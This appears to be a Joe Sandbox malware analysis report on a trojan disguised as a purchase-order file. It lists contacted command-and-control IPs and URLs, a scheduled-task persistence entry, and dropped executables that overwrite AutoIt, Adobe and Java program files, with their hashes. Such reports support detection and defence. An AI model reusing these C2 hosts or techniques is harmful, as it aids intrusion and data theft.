http://tempuri.org/DataSet1.xsd	alg.exe, 0000000B.00000003.2062072594.0000000000B90000.00000004.00001000.00020000.00000000.sdmp	false
http://82.112.184.197:80/lsfncqfq	vbc.exe, 00000009.00000002.2747734535.0000000009D04000.00000004.00000020.00020000.00000000.sdmp	false
http://172.234.222.138/lkgggwxh	alg.exe, 0000000B.00000003.1672024294.000000000051E000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1750326950.000000000051E000.00000004.00000020.00020000.00000000.sdmp	false
http://18.141.10.107/	alg.exe, 0000000B.00000003.1524192545.00000000004FE000.00000004.00000020.00020000.00000000.sdmp	false
http://172.234.222.138:80/lkgggwxh	alg.exe, 0000000B.00000003.1750547017.0000000000531000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1672024294.0000000000531000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1970878645.0000000000531000.00000004.00000020.00020000.00000000.sdmp	false
http://checkip.dyndns.org/h	vbc.exe, 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	false
http://47.129.31.212/	vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp	false
http://checkip.dyndns.org/p	vbc.exe, 00000009.00000002.2696625029.00000000077F6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp	false
http://checkip.dyndns.	vbc.exe, 00000009.00000002.2696625029.00000000077FA000.00000004.00000800.00020000.00000000.sdmp	false
http://reallyfreegeoip.org	vbc.exe, 00000009.00000002.2696625029.0000000007892000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007862000.00000004.00000800.00020000.00000000.sdmp	false
http://checkip.dyndns.P	vbc.exe, 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp	false
http://82.112.184.197:80/algtvyj	alg.exe, 0000000B.00000003.1970878645.0000000000531000.00000004.00000020.00020000.00000000.sdmp	false
https://reallyfreegeoip.orgLL(	vbc.exe, 0000002A.00000002.2671075234.0000000007779000.00000004.00000800.00020000.00000000.sdmp	false
http://checkip.dyndns.com	vbc.exe, 00000009.00000002.2696625029.0000000007876000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007846000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RFQ_PO N89397-GM7287-Order.bat.exe, 00000000.00000002.1420209472.0000000003493000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.2696625029.000000000777C000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.2696625029.0000000007849000.00000004.00000800.00020000.00000000.sdmp, YRtQgzFlDnVSru.exe, 00000016.00000002.1552755563.0000000002689000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp	false
http://47.129.31.212/agmjd	vbc.exe, 00000009.00000002.2747734535.0000000009D0E000.00000004.00000020.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.2747734535.0000000009D04000.00000004.00000020.00020000.00000000.sdmp	false
http://47.129.31.212:80/agmjdrrnmmetm0	vbc.exe, 00000009.00000002.2747734535.0000000009D0E000.00000004.00000020.00020000.00000000.sdmp	false
http://18.141.10.107/jqj	vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp	false
https://reallyfreegeoip.org8	vbc.exe, 00000009.00000002.2696625029.00000000077A8000.00000004.00000800.00020000.00000000.sdmp	false
http://checkip.dyndn	vbc.exe, 00000009.00000002.2696625029.0000000007861000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007831000.00000004.00000800.00020000.00000000.sdmp	false
https://reallyfreegeoip.org/xml/	vbc.exe, 00000009.00000002.2696625029.0000000007876000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007846000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp	false
http://82.112.184.197/fmyrcucxukod	vbc.exe, 00000009.00000002.2639227237.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	false
http://82.112.184.197:80/fmyrcucxukod	vbc.exe, 00000009.00000002.2747734535.0000000009D0E000.00000004.00000020.00020000.00000000.sdmp	false
http://82.112.184.197/algtvyjJ	alg.exe, 0000000B.00000003.1970878645.0000000000531000.00000004.00000020.00020000.00000000.sdmp	false
http://47.129.31.212/H	vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp	false
http://82.112.184.197/oxlmrobhj	vbc.exe, 00000009.00000002.2639227237.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	false
http://checkip.dyndns.org	vbc.exe, 00000009.00000002.2696625029.0000000007861000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.2696625029.0000000007876000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007831000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007846000.00000004.00000800.00020000.00000000.sdmp	false
http://47.129.31.212/S	vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp	false
http://82.112.184.197/lsfncqfq	vbc.exe, 00000009.00000002.2639227237.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	false
http://82.112.184.197:80/oxlmrobhj	vbc.exe, 00000009.00000002.2747734535.0000000009D0E000.00000004.00000020.00020000.00000000.sdmp	false
http://18.141.10.107/j	vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp	false
https://reallyfreegeoip.org/xml/8.46.123.228l	vbc.exe, 00000009.00000002.2696625029.0000000007876000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007846000.00000004.00000800.00020000.00000000.sdmp	false
https://reallyfreegeoip.org	vbc.exe, 00000009.00000002.2696625029.0000000007876000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007846000.00000004.00000800.00020000.00000000.sdmp	false
http://www.winimage.com/zLibDll	SingleClientServicesUpdater.exe.9.dr	false
http://47.129.31.212/7	vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	true
47.129.31.212	xlfhhhm.biz	Canada	34533	ESAMARA-ASRU	false
172.234.222.138	przvgke.biz	United States	20940	AKAMAI-ASN1EU	true
82.112.184.197	lpuegx.biz	Russian Federation	43267	FIRST_LINE-SP_FOR_B2B_CUSTOMERSUPSTREAMSRU	true
18.141.10.107	ssbzmoy.biz	United States	16509	AMAZON-02US	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564874
Start date and time:	2024-11-28 22:43:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	3
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RFQ_PO N89397-GM7287-Order.bat.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@36/178@44/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 77% Number of executed functions: 327 Number of non-executed functions: 34
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, SearchFilterHost.exe, dllhost.exe, DiagnosticsHub.StandardCollector.Service.exe, SIHClient.exe, VSSVC.exe, SearchIndexer.exe, SearchProtocolHost.exe, WMIADAP.exe, conhost.exe, WmiApSrv.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.81.94.65
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, twc.trafficmanager.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
VT rate limit hit for: RFQ_PO N89397-GM7287-Order.bat.exe

Simulations

Behavior and APIs

Time	Type	Description
16:44:21	API Interceptor	2x Sleep call for process: RFQ_PO N89397-GM7287-Order.bat.exe modified
16:44:24	API Interceptor	59x Sleep call for process: powershell.exe modified
16:44:33	API Interceptor	2x Sleep call for process: YRtQgzFlDnVSru.exe modified
16:44:37	API Interceptor	147848x Sleep call for process: vbc.exe modified
16:44:38	API Interceptor	6x Sleep call for process: alg.exe modified
16:45:03	API Interceptor	201x Sleep call for process: msdtc.exe modified
22:44:27	Task Scheduler	Run new task: YRtQgzFlDnVSru path: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1353216
Entropy (8bit):	5.324397429350343
Encrypted:	false
SSDEEP:	12288:CC4VQjGARQNhiZXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DB9:COCAR0iZsqjnhMgeiCl7G0nehbGZpbD
MD5:	4C2E41161011A81854254AC402555CE9
SHA1:	B154E1F0100D20AC92090BF59BBE9BA8CAFCACEC
SHA-256:	755BDDA862DC1A40B5A03B77713FEA60B30A2A321AF545DA6A290635E0993EF2
SHA-512:	C1572A3556795B022E18DA8853E09A22A4A1CFBAC4B9C9B2714195C5B6A0284F7723D5FFAFA02FD6FA14E698AD859DB205886359992739B0BD6D6645FCA3E485
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S.~.2.-.2.-.2.-n.G-.2.-n.E-J2.-n.D-.2.-.Z.,.2.-.Z.,.2.-.Z.,.2.-.J%-.2.-.2.-.2.-.[.,.2.-.[I-.2.-.2!-.2.-.[.,.2.-Rich.2.-........................PE..L...g.(c.....................6......&........0....@...........................!.............................................,b..<....p...............................L..8............................L..@............0..,............................text............................... ..`.rdata...8...0...:..."..............@..@.data........p.......\..............@....rsrc....P...p...@...f..............@...................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1294848
Entropy (8bit):	5.282713099627815
Encrypted:	false
SSDEEP:	12288:FNUpaKghiXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:FCMKgwsqjnhMgeiCl7G0nehbGZpbD
MD5:	68FF6ADCBB0A75357688BBD0E1FAB7B3
SHA1:	E08F38FE20D41B58ACBA3AC6F63391238F513DDC
SHA-256:	158C13A11DBFDF4DB6684B751081BF01B0F26ECDC8E61C0BB5CBCE8E3AC1050A
SHA-512:	0AD72EF583D5E0635EC696CA41C6CD48AA016957A733EBAE0FD1D8FE85E7D266602DB65C7EFD0F6676C60E63D7AA1EC6FE432CAEE9F69A435708203E0A5B55D4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........jZ..9Z..9Z..9...9Q..9...9%..9...9B..9...8r..9...8K..9...8H..9S.x9W..9Z..9..9...8]..9...9[..9Z.\|9[..9...8[..9RichZ..9........PE..L...C.(c.........."......:...........\.......P....@........................... .....qJ......................................$...........0..............................8...............................@............P...............................text...19.......:.................. ..`.rdata...\|...P...~...>..............@..@.data...............................@....rsrc...0...........................@..@.reloc...`...`...P...r..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1314304
Entropy (8bit):	5.274145322413067
Encrypted:	false
SSDEEP:	12288:bMEhwdbTdXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:tKdHdsqjnhMgeiCl7G0nehbGZpbD
MD5:	C22221643AD1A9C42F54E6D057D51A24
SHA1:	3B278E755089DC18F8FDE4F0377A4DF86753B8AB
SHA-256:	22879248AD33B21703BEA40BB629B3A7B6A0163DE210853076FB13796E1A686A
SHA-512:	5AC7442D1E637B6605E7E69F8EBBF85EEE3F2C8E4FB4ED4E5A6F95BF47E7B3222BE3CAEF1342ED68EACDDBF421F3FAD308F8B05712040154F9BF12B383150958
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9..X...X...X..-....X..-....X..-....X...0...X...0...X...0...X... n..X...X..YX..<1.X..<1...X...Xj..X..<1...X..Rich.X..........................PE..d...G.(c.........."......J...^......Tr.........@............................. !.....;..... .................................................,........ ..0...............................8............................................`..`............................text....H.......J.................. ..`.rdata.......`.......N..............@..@.data........ ......................@....pdata..............................@..@.rsrc...0.... ......."..............@..@.reloc...P.......@..................@...................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2203136
Entropy (8bit):	7.6470360055215005
Encrypted:	false
SSDEEP:	49152:QK0eqkSR7Xgo4TiRPnLWvJZDmg27RnWGj:QK0pR7Xn4TiRCvJZD527BWG
MD5:	E7AB3AA0C8ACED18E7679E0C6C01BFDB
SHA1:	68FAA0C6239CC7DFE5317A6E29A377F804DEAD5B
SHA-256:	93EBD57947D795A2F85DBCCBB26D8F2057F55F3BE6ABF46890CD667CB4D104D7
SHA-512:	E8CC71CA19F87A6AE5604A1061C3F91F965549185FD25FB0AF676673DB6D115D58C44734B5A5F4F737B3E52340EE20D9D0D4AE79491E781113BD2FD55F198466
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................Y;6....Y;4.x...Y;5...........................D......T...........H......H.8.....P....H......Rich...................PE..L...9.(c..........#..................d............@...........................".......!..............................................p..X...............................p...............................@...............X............................text.............................. ..`.rdata..$H.......J..................@..@.data....@... ......................@....rsrc........p......................@...................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2369024
Entropy (8bit):	7.56505873975263
Encrypted:	false
SSDEEP:	49152:/fYP1JsEDkSR7Xgo4TiRPnLWvJZDmg27RnWGj:3YPBR7Xn4TiRCvJZD527BWG
MD5:	F7C2C152467B3D928F356D5C21916A55
SHA1:	46D3470EC886DD63932E9998EC610385CADB13C2
SHA-256:	8AD33A0B90546483B20F6F642901DDC327380F64AA01E71D5C1CDC9711FE2A8C
SHA-512:	B91AC59C88C5BCF953C0B63C0FCDF1C152C609F1D66EE4A2C0CCA9D7AC142A0C7AF0071ECF5D534E1E760DB3BCA4809AC9C60CBCE764FCE996177CA3E274A419
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<y..x...x...x....~.s....\|......}.a...p..i...p..p...*p..H...q`..z...q`..a...x...s....q..[....qp.y...x...z....q..y...Richx...........PE..d...>.(c..........#..........0......(..........@..............................$.......%... .............................................................X........e...................n..p...................0p..(...0o...............0...............................text............................... ..`.rdata.......0......."..............@..@.data....R...0... ... ..............@....pdata...e.......f...@..............@..@.rsrc...............................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1245184
Entropy (8bit):	5.12357943924453
Encrypted:	false
SSDEEP:	12288:k62SYUcknnvXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3b:xYUcknvsqjnhMgeiCl7G0nehbGZpbD
MD5:	443FFDD0A29C04771375A070D32DEF97
SHA1:	AAB149D73CE13407FCEA095CA76F8AC2EF2079BB
SHA-256:	5FEEE380CFC8C1E30B4DA001A27870055A1ED8E2AE28C2D78D9B469ED6A26F2F
SHA-512:	177F6D4922B3F60B6344460321166A71C523A2DBE508BCD941C8CBF41BEB6FFC0FEDD399FD51172496521740B3AC00440665F8FCEA75736FA0A6C1C4E062B2E0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........[m..5>..5>..5>OC.>..5>OC.>..5>OC.>..5>..0?..5>..1?..5>..6?..5>.>..5>..4>..5>.>..5>^.<?..5>^..>..5>..>..5>^.7?..5>Rich..5>........................PE..L.....(c..........................................@..........................@.......,.......................................%..d....P.................................8...............................@...............t............................text.............................. ..`.rdata...^.......`..................@..@.data...l....0....... ..............@....rsrc.......P.......*..............@..@.reloc...`.......P..................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1640448
Entropy (8bit):	7.16667679223097
Encrypted:	false
SSDEEP:	49152:++iAqSPyC+NltpScpzbtvpJoMQSq/jrQaS1Dmg27RnWGj:qSktbpTD527BWG
MD5:	4D41765CF6C8E806DA7114BFF494B34D
SHA1:	229838DE82E050B916C4E7F888EBE84C1D5CDF2B
SHA-256:	44D1A2A897C26F89F8BDB678155F7F313F21E7C79B9F358808157130B36706A2
SHA-512:	BC274329AFC478608E095D4FB33DCB0E4A4C34A58B244F32607B1E33DEB5DD49B1AC9A3524D69A5F89C373AB04F8CE9CFBDEE6B7B53553271A2D940C3DDFB5CF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......}0tp9Q.#9Q.#9Q.#...#,Q.#...#.Q.#...#.Q.#...#8Q.#k9.".Q.#k9."(Q.#k9."1Q.#0).#1Q.#0).#8Q.#0).#.Q.#9Q.#.S.#.8."hQ.#.8."8Q.#.8.#8Q.#9Q.#;Q.#.8."8Q.#Rich9Q.#........PE..d...3.(c.........."......H...*.......Z.........@.....................................Q.... ...@...............@..............................l..\|.......P....P...o.................. .......................p...(...@................`..8............................text...<G.......H.................. ..`.rdata..\|B...`...D...L..............@..@.data... ........P..................@....pdata...o...P...p..................@..@.rsrc...P............P..............@..@.reloc...............(..............@...................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2953728
Entropy (8bit):	7.094631430460647
Encrypted:	false
SSDEEP:	49152:uGSXoV72tpV9XE8Wwi1aCvYMdVluS/fYw44RxL+Dmg27RnWGj:K4OEtwiICvYMRfeD527BWG
MD5:	83AC59C9FDF4021ACDEC76D82ECEFA88
SHA1:	F57FA4F72542C7E7F528FFE96D123DB72C8AE4A1
SHA-256:	19EEA7FEB74873F74F7F004BD4834466A921D00DC1179126EDD91E8EF64F279F
SHA-512:	0CE6148A74DB858F2A36CCA2C57C4DDB8A6F02F2C9F86FACF1D2083FB8702D695FA32F66967820FFADDFA47A83776D0CEE28CF51A74217ABF75077F4D1B5F212
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~....................@..........................P-......c-.............................p...<............@ .............................@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1485824
Entropy (8bit):	5.496411717236595
Encrypted:	false
SSDEEP:	24576:gAMuR+3kMbVjhJsqjnhMgeiCl7G0nehbGZpbD:hD+lbVjhNDmg27RnWGj
MD5:	411C9789FE41993B74B7EBA11856F55C
SHA1:	68546F9097C24A11F47309292A9B08B37456A66F
SHA-256:	65687F81288F1CA0AB1B6D4A30D0FD67F203227C6F09983C55E8C3D538565626
SHA-512:	DF80EC656F668D5F06C6D1CC2951F3A19A692D9E9E85E59BBDCA20C8B722A403506C42B38AEA9A97A172E0EC95F09E590E0B40E10E2F62F9ABD13AE187D54455
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........4...Uu..Uu..Uu..=v..Uu..=q..Uu..=p.pUu..=s..Uu..8q..Uu..8v..Uu..8p.@Uu.....Uu..=t..Uu..Ut..Wu.Z;p..Uu.Z;...Uu..U...Uu.Z;w..Uu.Rich.Uu.................PE..L......d.................N...P...............`....@..................................4.......................................`..@.......(...............................T...............................@............`..L............................text...zL.......N.................. ..`.rdata.......`.......R..............@..@.data...\D...........p..............@....rsrc...(...........................@..@.reloc...........p...<..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1290240
Entropy (8bit):	5.277782615464925
Encrypted:	false
SSDEEP:	12288:OImGUcsvZZdubv7hfl3dXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wlb:OxGBcmltsqjnhMgeiCl7G0nehbGZpbD
MD5:	C0525CFD34E032B8DE30555E54329700
SHA1:	335F38DD495A328453B3C0DBC7AF07E753CBE660
SHA-256:	6A5784359D3CFF5FB8AEB767595945EAB50BA999BD15BB555041055008924CF9
SHA-512:	DAE03F8345A6869AD3A07002F2BA072918F7A89AB8BBE1A460BC5EF4E11AE46D85A3A5B78312A06FCDBF09954D14329D775FC70CFA9D0B7A55E280D9EF48EFA1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........]...3...3...3...0...3...6.h.3.,.7...3.,.0...3.,.6...3...7...3...2...3...2.G.3.e.:...3.e....3.....3.e.1...3.Rich..3.................PE..L...}..d..........................................@..................................Y......................................`D......................................@...p...........................p...@....................B.......................text.............................. ..`.rdata..t...........................@..@.data........`.......@..............@....didat..4............N..............@....rsrc................P..............@..@.reloc...`.......P...`..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1644544
Entropy (8bit):	5.694817171376491
Encrypted:	false
SSDEEP:	24576:K0vHyeLj8trn3ws/sqjnhMgeiCl7G0nehbGZpbD:7tj4rgsjDmg27RnWGj
MD5:	9801C81A179DB8F89BCE1115C2F6A762
SHA1:	F4E5609C671C41635E0425AD79563CBB8C17C87D
SHA-256:	B3C73E830D550CFDB8C5527958B73C418D8B6FC9700B8ABEBF75673416E57811
SHA-512:	ECCBFCB6AF6E78F6E4EA3C0E113242739B1C2770E36E6F6E5791F980F9FB247B4B30EAACDFE992C9D7ADCE76FB98ABE3E19CFB5ECB98713AE6ECEBFAA23027C0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g=H(#\&{#\&{#\&{77%z2\&{77#z.\&{A$.{"\&{A$"z1\&{A$%z5\&{A$#zu\&{77"z;\&{77 z"\&{77'z4\&{#\'{.\&{.%"z$\&{.%#z.\&{.%.{"\&{#\.{!\&{.%$z"\&{Rich#\&{........PE..L.....d............................7........0....@..........................`..............................................<........P...\|..........................0m..............................pl..@............0..t............................text...?........................... ..`.rdata.......0......................@..@.data....3....... ..................@....rsrc....\|...P...~..................@..@.reloc..............................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1781760
Entropy (8bit):	7.279684404845038
Encrypted:	false
SSDEEP:	24576:soMOW0n7Ubxk/uRv5qLGJLQ4a56duA/85RkV4l7/Z6sqjnhMgeiCl7G0nehbGZpv:R4i0wGJra0uAUfkVy7/ZODmg27RnWGj
MD5:	4DFD19E114CA56C2FB6E682C1F656921
SHA1:	71DAE7E8BC4670DDE5BC404049015DC321FD91B4
SHA-256:	4E7CF3FBFF9DF7EEE70BBFBD8D75D7FB36D3249A2F0D6D6973ABF8A0C7020EBC
SHA-512:	384549CFCC2897BD4B6CFC1526D16F9C29919358ED61EA36DA9C092ABCF65F6F754B3782B4C3917602F410801E6632013F38D63DC750B0056B31238EE08ED8AC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$...................................p.....l.......................................................<......<....<.n.............<......Rich............................PE..L.....d.................:...*...............P....@............................................................................,.......................................................................@............P...............................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data...PG...0...2..................@....rsrc................D..............@..@.reloc...p.......`..................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1318400
Entropy (8bit):	7.448782639181649
Encrypted:	false
SSDEEP:	24576:EeR0gB6axoCf0R6RLQRF/TzJqe58BimxsqjnhMgeiCl7G0nehbGZpbD:wgHxmR6uBTzge5MimFDmg27RnWGj
MD5:	911C460C5787AA337B45595E27478B04
SHA1:	E107D7187682A48A1629C7438BF2CD04D528BFB7
SHA-256:	3EC595A206A2E3EF357B1FB55F90582A9623B67081B1BA71906CCD334379D2BA
